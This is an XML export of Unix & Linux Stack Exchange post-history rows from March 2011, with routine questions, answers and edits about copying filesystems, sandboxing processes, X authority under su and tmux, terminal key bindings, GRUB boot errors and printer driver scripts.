  <row Id="21835" PostHistoryTypeId="2" PostId="9184" RevisionGUID="37d9ec1e-780f-4e6a-82df-173e801fae98" CreationDate="2011-03-13T12:03:57.443" UserId="3169" Text="I would say it's probably closest to OpenSUSE 11.2 if I compare the package versions of [SLES][1] to [OpenSUSE][2] using [DistroWatch][3], but it's not an exact match.&#xD;&#xA;&#xD;&#xA;  [1]: http://distrowatch.com/table.php?distribution=novell&#xD;&#xA;  [2]: http://distrowatch.com/table.php?distribution=suse&#xD;&#xA;  [3]: http://distrowatch.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21836" PostHistoryTypeId="5" PostId="9183" RevisionGUID="cf564413-0bfd-424a-a08d-abcf8b37c871" CreationDate="2011-03-13T12:04:13.477" UserId="591" Comment="fixed typo" Text="Why don't you simply use `cp -pr source destination`?&#xD;&#xA;&#xD;&#xA;Anyway:&#xD;&#xA;&#xD;&#xA;    cd ~/tmp/source/;tar -cpf - * | (cd ~/tmp/destination;tar -xpf -)&#xD;&#xA;&#xD;&#xA;works just fine.&#xD;&#xA;" />
  <row Id="21837" PostHistoryTypeId="24" PostId="9183" RevisionGUID="cf564413-0bfd-424a-a08d-abcf8b37c871" CreationDate="2011-03-13T12:04:13.477" Comment="Proposed by 591 approved by 2671 edit id of 202" />
  <row Id="21838" PostHistoryTypeId="5" PostId="9184" RevisionGUID="12efc72d-3a8a-4f42-b3d0-8b19bf34bcf9" CreationDate="2011-03-13T12:09:24.117" UserId="3169" Comment="added 6 characters in body" Text="I would say it's probably closest to OpenSUSE 11.2, but it's not an exact match.&#xD;&#xA;&#xD;&#xA;Method: compare the package versions of [SLES][1] to [OpenSUSE][2] using [DistroWatch][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://distrowatch.com/table.php?distribution=novell&#xD;&#xA;  [2]: http://distrowatch.com/table.php?distribution=suse&#xD;&#xA;  [3]: http://distrowatch.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21839" PostHistoryTypeId="2" PostId="9185" RevisionGUID="aba860fc-5b45-4086-b710-2802653eecda" CreationDate="2011-03-13T12:15:59.237" UserId="5167" Text="I find the best thing for copying whole directory structures is `rsync`&#xD;&#xA;&#xD;&#xA;    # rsync -avP /path/to/source/* /path/to/destination/&#xD;&#xA;&#xD;&#xA;This also has the advantage that you can to it to or from a remote directory through ssh." />
  <row Id="21840" PostHistoryTypeId="2" PostId="9186" RevisionGUID="457744d6-a148-4033-95ef-6d51168f1bdc" CreationDate="2011-03-13T12:23:32.333" UserId="5167" Text="Can you please let us know what VPS technology the ISP is using?  I have run up against similar problems running some software under an Ubuntu VPS in the XEN environment.  The VPS was not getting the resources that were required to allow the software to run properly." />
  <row Id="21841" PostHistoryTypeId="2" PostId="9187" RevisionGUID="26f5eae1-186a-4f45-a14a-b04a88a4e5ed" CreationDate="2011-03-13T11:18:47.103" UserDisplayName="user657429" Text="Does any one know if ntfs-3g driver implements change journal? I checked official website but couldn't find any information re. USN. " />
  <row Id="21842" PostHistoryTypeId="1" PostId="9187" RevisionGUID="26f5eae1-186a-4f45-a14a-b04a88a4e5ed" CreationDate="2011-03-13T11:18:47.103" UserDisplayName="user657429" Text="Support of USN Journal (change journal) in NTFS-3G driver" />
  <row Id="21843" PostHistoryTypeId="3" PostId="9187" RevisionGUID="26f5eae1-186a-4f45-a14a-b04a88a4e5ed" CreationDate="2011-03-13T11:18:47.103" UserDisplayName="user657429" Text="éfilesystemsàéntfsà" />
  <row Id="21844" PostHistoryTypeId="17" PostId="9187" RevisionGUID="f4821d9f-2300-4bd8-8146-97befb0c6283" CreationDate="2011-03-13T12:53:01.343" UserId="-1" Comment="from http://stackoverflow.com/questions/5289024/support-of-usn-journal-change-journal-in-ntfs-3g-driver" Text="" />
  <row Id="21845" PostHistoryTypeId="2" PostId="9188" RevisionGUID="aab504e9-bcc2-4fef-85dd-24982c91415f" CreationDate="2011-03-13T13:01:42.007" UserId="4319" Text="More similar Qs with more answers worth attention: &#xD;&#xA;&#xD;&#xA;* http://stackoverflow.com/q/3859710/94687&#xD;&#xA;* http://stackoverflow.com/q/4410447/94687&#xD;&#xA;* http://stackoverflow.com/q/4249063/94687&#xD;&#xA;* http://stackoverflow.com/q/1019707/94687&#xD;&#xA;&#xD;&#xA;some of the answers there point to specific solutions not yet mentioned here. &#xD;&#xA;&#xD;&#xA;In general, the answers there cover the full described range of possibilities and even more: &#xD;&#xA;&#xD;&#xA;* ([virtual machines/OS](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/6455#6455)), &#xD;&#xA;* (kernel extension (like SELinux; mentioned in comments here)), &#xD;&#xA;* chroot-based helpers, &#xD;&#xA;* [`ptrace`-based](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8939#8939) (**of the tools not mentioned here, I have noted [Geordi](http://stackoverflow.com/questions/3859710/what-is-the-safest-way-to-run-an-executable-on-linux/3859784#3859784)** for myself, because I liked that the controlling program is written in Haskell),&#xD;&#xA;* ([`seccomp`-based](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8929#8929)), &#xD;&#xA;&#xD;&#xA;* and **`unshare`-based solutions--not mentioned here--e.g., [unsharing mount-points](http://karelzak.blogspot.com/2009/12/unshare1.html) could perhaps be a part of a working solution for you wanting to confine filesystem accesses of your untrusted processes**, &#xD;&#xA;&#xD;&#xA;* and special user-space programming/compiling (**[NaCl](http://stackoverflow.com/questions/4249063/how-can-i-run-an-untrusted-c-program-in-a-sandbox-in-linux/4250399#4250399)--not mentioned here**--belongs to this group, doesn't it?)&#xD;&#xA;&#xD;&#xA;Some pages accumulating info on this topic were also pointed at in the answers there:&#xD;&#xA;&#xD;&#xA;* [page on Google Chrome's sandboxing methods for Linux](http://stackoverflow.com/questions/1019707/sandboxing-in-linux/1020287#1020287)&#xD;&#xA;* [sandboxing.org group](http://stackoverflow.com/questions/4410447/how-to-disable-socket-creation-for-a-linux-process-for-sandboxing/4599355#4599355)" />
  <row Id="21846" PostHistoryTypeId="6" PostId="9187" RevisionGUID="78365805-96b4-4b01-9263-8ebf9dc6ea34" CreationDate="2011-03-13T13:03:53.663" UserId="885" Comment="edited tags" Text="éntfsàéntfsö3gà" />
  <row Id="21847" PostHistoryTypeId="5" PostId="2269" RevisionGUID="4a7585ca-de97-4c47-bd09-fb362e174d50" CreationDate="2011-03-13T13:13:48.790" UserId="305" Comment="added 96 characters in body; edited tags" Text="When I switched from `su+bash` to `su+tmux+zsh` I noticed that I get `$XAUTHORITY` variable defined as `/root/.xauthXXXXXX` where `XXXXXX` are 6 random alphanumeric characters. With previous configuration X worked with root flowlessly but now I need to copy `~username/.Xauthority` to `$XAUTHORITY`.&#xD;&#xA;&#xD;&#xA;Variable is nowhere defined (I checked `.zshrc`, `/etc/profile*`, `/etc/profile.d/*` etc.).&#xD;&#xA;&#xD;&#xA;    # env&#xD;&#xA;    TERM=screen&#xD;&#xA;    SHELL=/usr/bin/tmux&#xD;&#xA;    USER=toor&#xD;&#xA;    TMUX=/tmp//tmux-0/default,6495,3&#xD;&#xA;    PATH=/sbin:/bin:/usr/sbin:/usr/bin&#xD;&#xA;    PWD=/root&#xD;&#xA;    SHLVL=2&#xD;&#xA;    HOME=/root&#xD;&#xA;    LOGNAME=toor&#xD;&#xA;    DISPLAY=:0.0&#xD;&#xA;    XAUTHORITY=/root/.xauthUSzLl4&#xD;&#xA;    COLORTERM=gnome-terminal&#xD;&#xA;    _=/bin/env&#xD;&#xA;    OLDPWD=/root&#xD;&#xA;    EDITOR=vim&#xD;&#xA;    vcs_info_msg_0_=&#xD;&#xA;    vcs_info_msg_1_=&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;    % echo $XAUTHORITY &#xD;&#xA;    /home/mpiechotka/.Xauthority&#xD;&#xA;    % su &#xD;&#xA;    password:&#xD;&#xA;    # echo $XAUTHORITY &#xD;&#xA;    /root/.xauthUSzLl4&#xD;&#xA;    # ls $XAUTHORITY&#xD;&#xA;    ls: cannot access /root/.xauthUSzLl4: No such file or directory&#xD;&#xA;    # cat .tmux.conf &#xD;&#xA;    set -g default-command /bin/zsh&#xD;&#xA;    set -g default-shell /bin/zsh&#xD;&#xA;&#xD;&#xA;`su` is aliased to `su - toor` and it opens `tmux` as shell. toor is an alias of root with different shell.&#xD;&#xA;&#xD;&#xA;PS. I just discovered that it appears on normal su as well. It did not some time ago...&#xD;&#xA;&#xD;&#xA;**Edit 2** `set-enviroment` didn't help either&#xD;&#xA;&#xD;&#xA;**Edit 3** `xhost +localhost` did not helped but `xhost +` (disabling all control) DID helped." />
  <row Id="21848" PostHistoryTypeId="6" PostId="2269" RevisionGUID="4a7585ca-de97-4c47-bd09-fb362e174d50" CreationDate="2011-03-13T13:13:48.790" UserId="305" Comment="added 96 characters in body; edited tags" Text="éshellàéloginàésuàétmuxà" />
  <row Id="21849" PostHistoryTypeId="5" PostId="9188" RevisionGUID="c39ba312-0161-48ce-ac94-7c6a7a0a3f53" CreationDate="2011-03-13T13:29:41.953" UserId="4319" Comment="Added an important point I'm curious about: since we don't have root, we might be interested in solutions based on `unshare --mount` only if the mounts can be set up by the user (i.e., FUSE comes into play)." Text="More similar Qs with more answers worth attention: &#xD;&#xA;&#xD;&#xA;* http://stackoverflow.com/q/3859710/94687&#xD;&#xA;* http://stackoverflow.com/q/4410447/94687&#xD;&#xA;* http://stackoverflow.com/q/4249063/94687&#xD;&#xA;* http://stackoverflow.com/q/1019707/94687&#xD;&#xA;&#xD;&#xA;some of the answers there point to specific solutions not yet mentioned here. &#xD;&#xA;&#xD;&#xA;In general, the answers there cover the full described range of possibilities and even more: &#xD;&#xA;&#xD;&#xA;* ([virtual machines/OS](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/6455#6455)), &#xD;&#xA;* (kernel extension (like SELinux; mentioned in comments here)), &#xD;&#xA;* chroot-based helpers, &#xD;&#xA;* [`ptrace`-based](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8939#8939) (**of the tools not mentioned here, I have noted [Geordi](http://stackoverflow.com/questions/3859710/what-is-the-safest-way-to-run-an-executable-on-linux/3859784#3859784)** for myself, because I liked that the controlling program is written in Haskell),&#xD;&#xA;* ([`seccomp`-based](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8929#8929)), &#xD;&#xA;&#xD;&#xA;* and **`unshare`-based solutions--not mentioned here--e.g., [unsharing mount-points](http://karelzak.blogspot.com/2009/12/unshare1.html) (combined with FUSE?) could perhaps be a part of a working solution for you wanting to confine filesystem accesses of your untrusted processes**, &#xD;&#xA;&#xD;&#xA;* and special user-space programming/compiling (**[NaCl](http://stackoverflow.com/questions/4249063/how-can-i-run-an-untrusted-c-program-in-a-sandbox-in-linux/4250399#4250399)--not mentioned here**--belongs to this group, doesn't it?)&#xD;&#xA;&#xD;&#xA;Some pages accumulating info on this topic were also pointed at in the answers there:&#xD;&#xA;&#xD;&#xA;* [page on Google Chrome's sandboxing methods for Linux](http://stackoverflow.com/questions/1019707/sandboxing-in-linux/1020287#1020287)&#xD;&#xA;* [sandboxing.org group](http://stackoverflow.com/questions/4410447/how-to-disable-socket-creation-for-a-linux-process-for-sandboxing/4599355#4599355)" />
  <row Id="21850" PostHistoryTypeId="2" PostId="9189" RevisionGUID="fd99a18b-c13c-4819-8e81-ac97d6953b92" CreationDate="2011-03-13T13:31:01.263" UserId="250" Text="I'm using Vim `/etc/zsh/zshrc` to add key bindings for `zsh` because it doesn't work with `inputrc`. In my terminal with tmux when I type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LeftArrow&lt;/kbd&gt; the shell will show `^[OD`. However, when I'm in Vim insert mode, pressing the same sequence will result in `^[[D`.&#xD;&#xA;&#xD;&#xA;I found out that `^[[D` is what the shell produces when I type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt; then &lt;kbd&gt;LeftArrow&lt;/kbd&gt;. I have also changed `^[[D` to `^[OD` in the file `/etc/zsh/zshrc` and it works as expected (pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LeftArrow&lt;/kbd&gt; causes the cursor to move back a word). Here is the line I'm talking about:&#xD;&#xA;&#xD;&#xA;    bindkey &quot;^[OD&quot; backward-word&#xD;&#xA;&#xD;&#xA;I guess something is wrong with Vim because it's consuming the &lt;kbd&gt;Ctrl&lt;/kbd&gt;. How do I fix this?" />
  <row Id="21851" PostHistoryTypeId="1" PostId="9189" RevisionGUID="fd99a18b-c13c-4819-8e81-ac97d6953b92" CreationDate="2011-03-13T13:31:01.263" UserId="250" Text="Why is Vim eating up Ctrl when used with Ctrl+v and how to fix it?" />
  <row Id="21852" PostHistoryTypeId="3" PostId="9189" RevisionGUID="fd99a18b-c13c-4819-8e81-ac97d6953b92" CreationDate="2011-03-13T13:31:01.263" UserId="250" Text="évimàézshàéinputrcà" />
  <row Id="21853" PostHistoryTypeId="5" PostId="9145" RevisionGUID="e1b99358-6df5-414d-95ad-cea13f354f42" CreationDate="2011-03-13T13:50:04.060" UserId="4667" Comment="edited body" Text="Another solution: `awk '{$2 = sprintf(&quot;%02d&quot;, $2); print}'`" />
  <row Id="21854" PostHistoryTypeId="2" PostId="9190" RevisionGUID="a2819d22-3ec2-4133-9277-726ecd6cb708" CreationDate="2011-03-13T13:58:12.947" UserId="885" Text="This is actually your terminal doing something weird, not Vim. Terminals have two sets of control sequences associated with cursor keys, for [historical reasons](http://vt100.net/docs/vt510-rm/DECCKM): one for full-screen applications, often called “application cursor keys mode”, and one for [read-eval-print](http://en.wikipedia.org/wiki/REPL) applications (e.g. shells).&#xD;&#xA;&#xD;&#xA;In the old days, read-eval-print applications didn't have any line edition features, and it was intended that the terminal, or the OS terminal driver, would eventually become more sophisticated. So the terminal sent control sequences intended for the terminal driver. Somehow the unix terminal drivers never gained decent line edition features; these were added to applications instead (e.g. through the readline library).&#xD;&#xA;&#xD;&#xA;Your terminal is sending `␛OD` for &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left&lt;/kbd&gt; in line edition cursor keys mode, and `␛[D` in application cursor keys mode. You have two options:&#xD;&#xA;&#xD;&#xA;* Configure your terminal not to make a difference between the two modes. How to do this is entirely dependent on your terminal emulator.&#xD;&#xA;* Live with it. Since any given application always sets the terminal in the same mode, just configure its key bindings according to the mode it uses.&#xD;&#xA;" />
  <row Id="21855" PostHistoryTypeId="6" PostId="9189" RevisionGUID="c7848f3f-5be5-4f58-9aac-d32cf35aa714" CreationDate="2011-03-13T13:58:32.180" UserId="885" Comment="edited tags" Text="évimàéterminalàéreadlineà" />
  <row Id="21856" PostHistoryTypeId="25" PostId="9189" RevisionGUID="946c9add-9ba9-4f71-ad4a-3ab4074ee5cf" CreationDate="2011-03-13T14:24:39.707" Comment="http://twitter.com/#!/StackUnix/status/46939735222009856" />
  <row Id="21857" PostHistoryTypeId="2" PostId="9191" RevisionGUID="ce19b340-1951-4e27-bdb7-17f5eb25d90e" CreationDate="2011-03-13T15:05:14.663" UserId="5666" Text="if you want to copy the root filesystem and worry about special files and devices, the best way is:&#xD;&#xA;&#xD;&#xA; - first to mount the / in a subdir using the bind option for mount, this way you won't have to worry about /proc, /dev, /sys and other mounted filesystems&#xD;&#xA; - then use a command that knows how to handle special files, like cp -a or rsync -a&#xD;&#xA;&#xD;&#xA;lets say you have mounted the external drive under /mnt/external&#xD;&#xA;&#xD;&#xA;    mkdir /mnt/root&#xD;&#xA;    mount / /mnt/root -o bind&#xD;&#xA;    cp -a /mnt/root/* /mnt/external/&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    rsync -aP /mnt/root/ /mnt/external/&#xD;&#xA;&#xD;&#xA;or (if you like tar so much, btw the worst option)&#xD;&#xA;&#xD;&#xA;    cd /mnt/external&#xD;&#xA;    tar -C /mnt/root -cf - ./ | tar xpf -&#xD;&#xA;&#xD;&#xA;add -v to any of the above for verbose output, but it will slow down a bit the process" />
  <row Id="21858" PostHistoryTypeId="5" PostId="9190" RevisionGUID="afc33dd3-c3ce-42db-b071-880b44ef8108" CreationDate="2011-03-13T15:06:05.360" UserId="2511" Comment="edited body" Text="This is actually your terminal doing something weird, not Vim. Terminals have two sets of control sequences associated with cursor keys, for [historical reasons](http://vt100.net/docs/vt510-rm/DECCKM): one for full-screen applications, often called “application cursor keys mode”, and one for [read-eval-print](http://en.wikipedia.org/wiki/REPL) applications (e.g. shells).&#xD;&#xA;&#xD;&#xA;In the old days, read-eval-print applications didn't have any line edition features, and it was intended that the terminal, or the OS terminal driver, would eventually become more sophisticated. So the terminal sent control sequences intended for the terminal driver. Somehow the unix terminal drivers never gained decent line-editing features; these were added to applications instead (e.g. through the readline library).&#xD;&#xA;&#xD;&#xA;Your terminal is sending `␛OD` for &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left&lt;/kbd&gt; in line edition cursor keys mode, and `␛[D` in application cursor keys mode. You have two options:&#xD;&#xA;&#xD;&#xA;* Configure your terminal not to make a difference between the two modes. How to do this is entirely dependent on your terminal emulator.&#xD;&#xA;* Live with it. Since any given application always sets the terminal in the same mode, just configure its key bindings according to the mode it uses.&#xD;&#xA;" />
  <row Id="21859" PostHistoryTypeId="5" PostId="9191" RevisionGUID="5a9124e3-fa4a-4c59-97e5-425cc5e808ca" CreationDate="2011-03-13T15:11:21.443" UserId="5666" Comment="deleted 4 characters in body" Text="if you want to copy the root filesystem and worry about special files and devices, the best way is:&#xD;&#xA;&#xD;&#xA; - first to mount the / in a subdir using the bind option for mount, this way you won't have to worry about /proc, /dev, /sys and other mounted filesystems&#xD;&#xA; - then use a command that knows how to handle special files, like cp -a or rsync -a&#xD;&#xA;&#xD;&#xA;lets say you have mounted the external drive under /mnt/external&#xD;&#xA;&#xD;&#xA;    mkdir /mnt/root&#xD;&#xA;    mount / /mnt/root -o bind&#xD;&#xA;    cp -a /mnt/root/* /mnt/external/&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    rsync -aP /mnt/root/ /mnt/external/&#xD;&#xA;&#xD;&#xA;or (if you like tar so much, btw the worst option)&#xD;&#xA;&#xD;&#xA;    tar -C /mnt/root -cf - ./ | tar -C /mnt/external -xpf -&#xD;&#xA;&#xD;&#xA;add -v to any of the above for verbose output, but it will slow down a bit the process" />
  <row Id="21860" PostHistoryTypeId="2" PostId="9192" RevisionGUID="c4338024-c88e-42fc-b658-1bcead408fad" CreationDate="2011-03-13T15:12:25.860" UserId="5632" Text="Here is another strategy that might need tweaking but should be more efficient with large chunks of data. The idea is to execute syscalls in the remote process in order to retrieve the stack contents. It will need specific architecture code but if you only target x86 / x86_64 it shouldn't be too much hassle.&#xD;&#xA;&#xD;&#xA; 1. Create a named pipe such as `&quot;/tmp/fifo&quot;` in your calling process.&#xD;&#xA; 1. Step into the traced process until it is returns from a syscall, using `PTRACE_SYSCALL` to step, `waitpid()` to wait and `PTRACE_GETREGS`/`PTRACE_PEEKTEXT` to check the currently executed opcode.&#xD;&#xA; 1. Backup the remote process’s registers and a small area of its stack.&#xD;&#xA; 1. Execute syscalls on the remote process by overriding its stack with your own data: `open(&quot;/tmp/fifo&quot;)`, `write()` the stack contents, `close()` the descriptor.&#xD;&#xA; 1. Restore the remote process’s state.&#xD;&#xA; 1. Read the fifo data from your calling process.&#xD;&#xA;&#xD;&#xA;There might be more elegant alternatives to the named pipe, but I can’t think of any right now.&#xD;&#xA;&#xD;&#xA;You can see some free code implementing most of the work in [this source file][1]. Feedback on the code is welcome!&#xD;&#xA;&#xD;&#xA;  [1]: http://caca.zoy.org/browser/neercs/trunk/src/mytrace.c&#xD;&#xA;" />
  <row Id="21861" PostHistoryTypeId="5" PostId="9192" RevisionGUID="b1b11b10-172b-4135-b10c-b7799a0729ef" CreationDate="2011-03-13T15:18:07.010" UserId="5632" Comment="rationale for the strategy" Text="Here is another strategy that might need tweaking but should be more efficient with large chunks of data. The idea is to execute syscalls in the remote process in order to retrieve the stack contents. It will need specific architecture code but if you only target x86 / x86_64 it shouldn't be too much hassle.&#xD;&#xA;&#xD;&#xA; 1. Create a named pipe such as `&quot;/tmp/fifo&quot;` in your calling process.&#xD;&#xA; 1. Step into the traced process until it is returns from a syscall, using `PTRACE_SYSCALL` to step, `waitpid()` to wait and `PTRACE_GETREGS`/`PTRACE_PEEKTEXT` to check the currently executed opcode.&#xD;&#xA; 1. Backup the remote process’s registers and a small area of its stack.&#xD;&#xA; 1. Execute syscalls on the remote process by overriding its stack with your own data: `open(&quot;/tmp/fifo&quot;)`, `write()` the stack contents, `close()` the descriptor.&#xD;&#xA; 1. Restore the remote process’s state.&#xD;&#xA; 1. Read the fifo data from your calling process.&#xD;&#xA;&#xD;&#xA;There might be more elegant alternatives to the named pipe, but I can’t think of any right now. The reason I only use syscalls is because remote code injection is pretty unreliable on modern systems due to various security protections. The drawback is that it will hang until the remote process does a syscall (which can be a problem for some programs that mostly do computations).&#xD;&#xA;&#xD;&#xA;You can see some free code implementing most of the work in [this source file][1]. Feedback on the code is welcome!&#xD;&#xA;&#xD;&#xA;  [1]: http://caca.zoy.org/browser/neercs/trunk/src/mytrace.c&#xD;&#xA;" />
  <row Id="21862" PostHistoryTypeId="2" PostId="9193" RevisionGUID="322b9901-40a6-424a-a51d-84949df84eb3" CreationDate="2011-03-13T15:51:34.913" UserId="5688" Text="Please use the POSIX [PAX][1] utility.&#xD;&#xA;&#xD;&#xA;Unlike cp, __pax works the same on every system__. With pax you can always safely copy file systems with special files such as device nodes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To copy one file system /mnt/foo into /mnt/bar, preserving permissions, timestamps and special files do:&#xD;&#xA;&#xD;&#xA;    # cd /mnt/foo&#xD;&#xA;    pax -rw -pe -X . /mnt/bar/&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Pax_%28Unix%29" />
  <row Id="21863" PostHistoryTypeId="2" PostId="9194" RevisionGUID="1103c881-8a2b-4c31-b53d-10e0cb17af63" CreationDate="2011-03-13T16:48:11.970" UserId="1375" Text="I am have a fully updated Arch Linux system that was running fine. Last night I tried to setup autofs per instructions on the Arch wiki, but upon restart there was no boot menu and only a GRUB error message saying &quot;Error 15&quot;.&#xD;&#xA;&#xD;&#xA;I used a live CD to look at my partitions, and (1) the /boot directory is completely empty, and (2) my boot partition is also completely empty.&#xD;&#xA;&#xD;&#xA;Using the root and setup commands in the GRUB shell also ended in failure (it tells me it can't find GRUB files, /boot/grub/, etc. etc.).&#xD;&#xA;&#xD;&#xA;Is there any hope of restoring my system? Thanks for your help." />
  <row Id="21864" PostHistoryTypeId="1" PostId="9194" RevisionGUID="1103c881-8a2b-4c31-b53d-10e0cb17af63" CreationDate="2011-03-13T16:48:11.970" UserId="1375" Text="GRUB error 15, no boot menu nor /boot" />
  <row Id="21865" PostHistoryTypeId="3" PostId="9194" RevisionGUID="1103c881-8a2b-4c31-b53d-10e0cb17af63" CreationDate="2011-03-13T16:48:11.970" UserId="1375" Text="éarchölinuxàégrubàébootàéerrorà" />
  <row Id="21866" PostHistoryTypeId="25" PostId="9194" RevisionGUID="96913718-a42c-4abf-96e4-f55204e6ba5a" CreationDate="2011-03-13T17:24:39.770" Comment="http://twitter.com/#!/StackUnix/status/46985034116235266" />
  <row Id="21870" PostHistoryTypeId="5" PostId="9188" RevisionGUID="0383b8c1-f5a2-4e15-a664-d608f6639967" CreationDate="2011-03-13T18:12:30.330" UserId="4319" Comment="(minor) Be consistent in making links to the other &quot;sections&quot; of my &quot;answer&quot;." Text="More similar Qs with more answers worth attention: &#xD;&#xA;&#xD;&#xA;* http://stackoverflow.com/q/3859710/94687&#xD;&#xA;* http://stackoverflow.com/q/4410447/94687&#xD;&#xA;* http://stackoverflow.com/q/4249063/94687&#xD;&#xA;* http://stackoverflow.com/q/1019707/94687&#xD;&#xA;&#xD;&#xA;some of the answers there point to specific solutions not yet mentioned here. &#xD;&#xA;&#xD;&#xA;In general, the answers there cover the full described range of possibilities and even more: &#xD;&#xA;&#xD;&#xA;* ([virtual machines/OS](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/6455#6455)), &#xD;&#xA;* (kernel extension (like SELinux; mentioned in comments here)), &#xD;&#xA;* chroot-based helpers, &#xD;&#xA;* [`ptrace`-based](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8939#8939) (**of the tools not mentioned here, I have noted [Geordi](http://stackoverflow.com/questions/3859710/what-is-the-safest-way-to-run-an-executable-on-linux/3859784#3859784)** for myself, because I liked that the controlling program is written in Haskell),&#xD;&#xA;* ([`seccomp`-based](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/8929#8929)), &#xD;&#xA;&#xD;&#xA;* and **`unshare`-based solutions--not mentioned here--e.g., [unsharing mount-points](http://karelzak.blogspot.com/2009/12/unshare1.html) (combined with FUSE?) could perhaps be a part of a working solution for you wanting to confine filesystem accesses of your untrusted processes**, &#xD;&#xA;&#xD;&#xA;* and [special user-space programming](http://unix.stackexchange.com/questions/6433/how-to-jail-a-process-without-being-root/9066#9066)/compiling (**[NaCl](http://stackoverflow.com/questions/4249063/how-can-i-run-an-untrusted-c-program-in-a-sandbox-in-linux/4250399#4250399)--not mentioned here**--belongs to this group, doesn't it?)&#xD;&#xA;&#xD;&#xA;Some pages accumulating info on this topic were also pointed at in the answers there:&#xD;&#xA;&#xD;&#xA;* [page on Google Chrome's sandboxing methods for Linux](http://stackoverflow.com/questions/1019707/sandboxing-in-linux/1020287#1020287)&#xD;&#xA;* [sandboxing.org group](http://stackoverflow.com/questions/4410447/how-to-disable-socket-creation-for-a-linux-process-for-sandboxing/4599355#4599355)" />
  <row Id="21871" PostHistoryTypeId="5" PostId="9182" RevisionGUID="7a409f29-380c-4a0f-a71b-2c81678922e4" CreationDate="2011-03-13T18:30:13.090" UserId="4073" Comment="Added coding layout to make it more readable, fixed some grammar while I was at it." Text="Hi!&#xD;&#xA;&#xD;&#xA;I'm trying to copy a directory to external HDD- i mounted the device and then typed : `cd root tar -cf - * | (cd /mnt ; tar -xpf -)`&#xD;&#xA;&#xD;&#xA;I got this error message: &quot;cowardly refusing to create an empty archive&quot;&#xD;&#xA;&#xD;&#xA;When I do `ls` to the same root directory- it is not empty at all- all my needed files are there.&#xD;&#xA;&#xD;&#xA;Why does this happen?&#xD;&#xA;" />
  <row Id="21872" PostHistoryTypeId="24" PostId="9182" RevisionGUID="7a409f29-380c-4a0f-a71b-2c81678922e4" CreationDate="2011-03-13T18:30:13.090" Comment="Proposed by 4073 approved by 885 edit id of 203" />
  <row Id="21873" PostHistoryTypeId="5" PostId="8762" RevisionGUID="57198f83-db7f-459e-a315-47507f79337a" CreationDate="2011-03-13T19:00:12.480" UserId="5153" Comment="added 440 characters in body" Text="I have bought a Lexmar Impact S305 scanner / printer. There was the small penguin and the word &quot;Linux&quot; among supported systems on the box. The problem is the official drivers are only for Debian based and RPM based distros. I haven't found unofficial drivers.&#xD;&#xA;&#xD;&#xA;There is graphic installer. It fails win my distro (Arch Linux), however I've installed it on virtual machine with Mint Debian and the printer works there. I've extracted some files (so, ppd, bin) from installer too. &#xD;&#xA;&#xD;&#xA;My question.&#xD;&#xA;&#xD;&#xA;**What do I need to set up my printer? It looks ppd alone is not enough.**&#xD;&#xA;&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;**Update 08-03-2011**&#xD;&#xA;&#xD;&#xA;I've extracted scripts from deb file. There are 3 files: control, postinst (17k) and prerm (4,2k).&#xD;&#xA;&#xD;&#xA;    # ./postinst &#xD;&#xA;    Executing postin scripts ...&#xD;&#xA;    ./postinst: line 73: [: ==: unary operator expected&#xD;&#xA;    sudo: unknown user: /usr/local/lexmark/legacy/bin/.scripts/demon&#xD;&#xA;    sudo: unable to initialize policy plugin&#xD;&#xA;&#xD;&#xA;I enter a new shell.&#xD;&#xA;&#xD;&#xA;    sh-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    cp: cannot stat `/usr/local/lexmark/legacy/etc/lxS800.ppd': No such file or directory&#xD;&#xA;    cp: cannot stat `/usr/local/lexmark/legacy/etc/lxS800.ppd': No such file or directory&#xD;&#xA;&#xD;&#xA;And it is the end.&#xD;&#xA;&#xD;&#xA;**Update 13-03-2011**&#xD;&#xA;&#xD;&#xA;The content of line 70-82:&#xD;&#xA;&#xD;&#xA;    #run device monitor&#xD;&#xA;    #TODO: investigate other ways to run daemon&#xD;&#xA;    #/bin/sh ${script}&#xD;&#xA;    if [ $username == &quot;root&quot; ]; then&#xD;&#xA;        #/bin/sh /usr/local/lexmark/legacy/bin/.scripts/demon&#xD;&#xA;        /bin/sh $script&#xD;&#xA;    else&#xD;&#xA;        sudo -u $username /usr/local/lexmark/legacy/bin/.scripts/demon&#xD;&#xA;        if [ $? -ne 0 ]; then&#xD;&#xA;            #/bin/sh /usr/local/lexmark/legacy/bin/.scripts/demon&#xD;&#xA;            /bin/sh $script&#xD;&#xA;        fi&#xD;&#xA;    fi;" />
